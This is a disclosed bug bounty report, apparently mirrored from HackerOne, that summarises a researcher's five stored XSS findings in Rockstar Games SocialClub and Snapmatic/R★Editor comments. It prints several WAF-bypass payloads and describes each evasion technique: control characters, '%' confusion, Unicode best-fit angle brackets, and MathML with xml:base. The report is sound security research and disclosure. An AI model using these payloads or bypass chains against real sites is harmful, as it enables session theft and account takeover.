Loading HuntDB...

Stored XSS in Snapmatic + R★Editor comments

High
R
Rockstar Games
Submitted None

Team Summary

Official summary from Rockstar Games

**Summary provided by the Researcher, @europa .** ___________________________________________________________________________________________________________________________ I requested the disclosure of what I hope is the final report regarding stored cross-site-scripting vulnerabilities on the Rockstar Games SocialClub, to also allow me to summarize the research that went into the other 5 reports. Have fun! ### Report #1 The 6-months adventure into researching and bypassing the SocialClub WAF begun with a simple discovery at first: while the WAF was removing anything enclosed in `<.*`, some **control characters** (`\b \f \n \r \t`) weren't being taken into account when injecting a `<`, allowing an adversary to create a malicious payload in the simple form of `<\t`. A fix was deployed to **remove anything following a** `<`. ### Report #2 Two weeks after the fix, I ended up discovering what would soon become a “head-scratching” mystery: injecting a **single** `%` in the payload would bypass the filter entirely and force the back-end to somehow produce an unescaped `<` along with the escaped one. The original payload was complex and confusing, and it led me to the wrong conclusion that [over-consumption flaws](https://hackerone.com/redirect?signature=e9fdfe4ae08f06fd697d9820b6472cbc3aceb3a2&url=https%3A%2F%2Fwebsec.github.io%2Funicode-security-guide%2Fcharacter-transformations%2F%23overconsumption) were to blame, but as analysis proceeded, it was finally discovered that the culprit was the **simple, single** `%`. The final payload `<%<script/src=//...?` produced an output of `<%<script/src="//..." <="" p="">` from the back-end. A fix was deployed and the WAF rules were made more strict, defeating all attempts with a 302 redirect to an error page. ### Report #3 Two months after the last fix, I discovered how the WAF wouldn't account for [Full-Width](https://hackerone.com/redirect?signature=94c9f9639fb2c55281d3c1e2820f40ecadc45807&url=https%3A%2F%2Fwww.compart.com%2Fen%2Funicode%2Fblock%2FU%2BFF00) and [Small-Forms](https://hackerone.com/redirect?signature=e823898824394a9c0700e14806b23d9982e8d57a&url=https%3A%2F%2Fwww.compart.com%2Fen%2Funicode%2Fblock%2FU%2BFE50) variants which, chained with the `%` confusion from the second report would again trick the back-end into producing a valid output: indeed, giving **`U+FF1C`** or **`U+FE64`** as the input would pass the WAF and the back-end would transform both into `<`. This is called a [best-fit match flaw](https://hackerone.com/redirect?signature=bc75d2374467e877b490cd0801b7c340ad395857&url=https%3A%2F%2Fwebsec.github.io%2Funicode-security-guide%2Fcharacter-transformations%2F%23best-fit) and it usually happens on Windows-powered technology stacks, where one of the processing layers fails to properly account for missing characters in destination codepages. The payload `\uFE64%\uFF1Cscript/src=//...?`, evaded the WAF and produced `<%<script/src="//...?" class="badLink"` in the HTML page. A first fix was deployed preventing both script injections and DOM events manipulation, both of which I was able to bypass after a few days using a combination of **control chars, percentages, breaks, and exotic function invokation**. The payload `\uFF1C%\uFE64input/autofocus onfocus\b='[1].find(alert)'` successfully bypassed the new filters and popped an alert before the report was closed as resolved, allowing the team to look for a better solution in time. A second, stronger fix was deployed and the WAF rules were made even stricter prohibiting any combination of direct or indirect forms of `<` and `%` in suspicious contextes, plus any shape or form of `onXXX` DOM events. ### Report #4 The new WAF rules prevented any kind of injection: no useful HTML elements, no DOM events. Anything went straight to /dev/null. After spending a few weeks in trial & error tests, I remembered how the payload from **report #3** would have a `badLink class` added to it, as the back-end detected a suspicious URI in the comment and would ~~strike it out~~ and prevent it from becoming clickable. After weeks of tests, in a few hours I was able to chain **_eight_ different techniques** to go through the WAF, the back-end filter, and the client-side Javascript filter: 1. using `<>` to separate “trigger words” in order to turn them “invisible” to the WAF (ie: `&<>lt;`). The _back-end_ would remove it for me. 2. using `\u0025` instead of `%` which would now trigger the WAF 3. using the unaccounted for `MATH` [MathML](https://hackerone.com/redirect?signature=f00315bb1ba003cb663832891ce2f04a5e1709e2&url=https%3A%2F%2Fdeveloper.mozilla.org%2Fen-US%2Fdocs%2FWeb%2FMathML%2FElement%2Fmath) element 4. using control characters (`\n \t \b \r \f` from **report #1**) to break element names to trick the _back-end_ (not the WAF) into reassembling them in output (ie: `<m\bath` instead of `<math`) 5. using the `xml:base` attribute instead of the usual `href` to specify a Javascript URI 6. injecting quotes to mess up the output from the back-end 7. using an innocuos `href=#` to make everything following the payload clickable 8. using a **fake URL** enclosed in `[]` to exploit a flaw in the rendering engine in the back-end that would cause it to move the payload outside of the "badUrl" element and place it where we could use it The final payload was `&<>lt;%&<>lt;m\bath xml:base=\"j<>avascript:alert(document.domain)//\" href=#\"[bad.url.pls]` which produced `&lt%<math xml:base="javascript:alert(document.domain)//" href="#" x="" class="badLink">[bad.url.pls]` As a bonus note, this led to the discovery of a particular payload that would render a newsfeed comment **un-repliable and un-deletable**. Both flaws were fixed with better rules, and by preventing the back-end from stripping “*conveniently-placed*” tags and control characters. ### Report #5 Somewhat less-related to the SocialClub per sé, this was a variation on **report #3** where it was discovered that Snapmatic and R★ Editor comments would go a different validation flow than any other entry, and the [best-fit matchings](https://hackerone.com/redirect?signature=bc75d2374467e877b490cd0801b7c340ad395857&url=https%3A%2F%2Fwebsec.github.io%2Funicode-security-guide%2Fcharacter-transformations%2F%23best-fit) would once again act up but on a different codepage this time, when using **Left-Angle brackets** `U+3008 "〈"` from the [Cjk Symbols and Punctuation block](https://hackerone.com/redirect?signature=73b9a54dadbf0c72c2d6cba07cdf52f97d13da52&url=https%3A%2F%2Fwww.compart.com%2Fen%2Funicode%2Fblock%2FU%2B3000), and **Left-pointing Angle brackets** `U+2329 "〈"` from the [Miscellaneus Technical block](https://hackerone.com/redirect?signature=12de40484af21138b7e46413f2fa9bc6eaff769e&url=https%3A%2F%2Fwww.compart.com%2Fen%2Funicode%2Fblock%2FU%2B2300). While the Snapmatic/R★ Editor back-end would block `U+FF1C` and `U+FE64`, the other two would go through and get "matched" to `<` somewhere in the web technology stack. My last payload was `〈script/src=//...?` and it was promptly fixed in both its variations. ### Conclusions The Rockstar Games team is amazing. My first duplicate report was with them back in September and if it wasn't for @jmarshall reacting so politely to my unjustified noobish irk to a duplicate I would've probably dropped bug bounties altogether. It's been great to be involved all these months into researching new things and approaches—failing for weeks at a time allowed me to learn new techniques and extremely peculiar quirks I now feel ready to share with the community. I still go back and try new ideas as of today, so far without success. Which is great. Ad maiora!

Reported by europa

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Submitted

Weakness

Cross-site Scripting (XSS) - Stored